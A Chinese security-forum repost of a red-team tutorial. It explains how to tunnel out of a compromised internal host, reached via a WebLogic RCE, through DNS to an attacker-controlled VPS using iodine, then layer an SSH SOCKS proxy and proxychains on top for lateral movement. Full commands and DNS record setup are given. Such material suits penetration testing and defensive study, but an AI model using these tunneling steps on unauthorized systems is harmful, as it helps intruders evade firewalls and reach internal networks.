安全矩阵

 找回密码
 立即注册
搜索
查看: 2731|回复: 0

内网渗透之DNS隧道

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-29 16:20:17 | 显示全部楼层 |阅读模式
内网渗透之DNS隧道 (qq.com)
内网渗透之DNS隧道原创 D1m0n [url=]合天网安实验室[/url] 3天前

原创稿件征集

邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

前言年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。
DNS隧道介绍DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。


DNS隧道搭建工具推荐DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。
前置准备因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:



第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"
第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。
最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。
配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。
iodine进行隧道搭建1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。

           

apt-get install iodine
2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:



  1. iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD

  2. #-f:在前台运行
  3. #-c:禁止检查所有传入请求的客户端IP地址。
  4. #-P:客户端和服务端之间用于验证身份的密码。
  5. #-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
  6. #这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
  7. #注意!填写的地址为NS记录
复制代码
​ 3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:




  1. iodine -f -P d1m0n dns2tcp.xxx.com  -M 200

  2. #-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
  3. #-M:指定上行主机的大小。
  4. #-m:调节最大下行分片的大小。
  5. #-f:在前台运行
  6. #-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
  7. #-O:指定数据编码规范。
  8. #-P:客户端和服务端之间用于验证身份的密码。
  9. #-L:指定是否开启懒惰模式,默认开启。
  10. #-I:指定两个请求之间的时间间隔。
复制代码
​ 两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:




到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:
  1. ssh -N -D 8080 user@192.168.0.1

  2. #-N 指示SSH不要启动shell,因为我们只是想创建代理

  3. #-D 设置动态端口转发,SOCKS代理端口为8080

  4. #user 我们服务器上的用户

  5. #192.168.0.1 tun接口上的iodine服务器
复制代码





输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4

           

vim /etc/proxychains4.conf



最后验证一下我们的代理有没有搭好:

           

proxychains4 curl http://www.baidu.com



大功告成,后面就是内网漫游时间~


实操推荐:DNS服务器配置(通过本课程详细学习了解DNS)
PC端体验地址:http://mrw.so/5YvGsF


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 18:24 , Processed in 0.014327 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表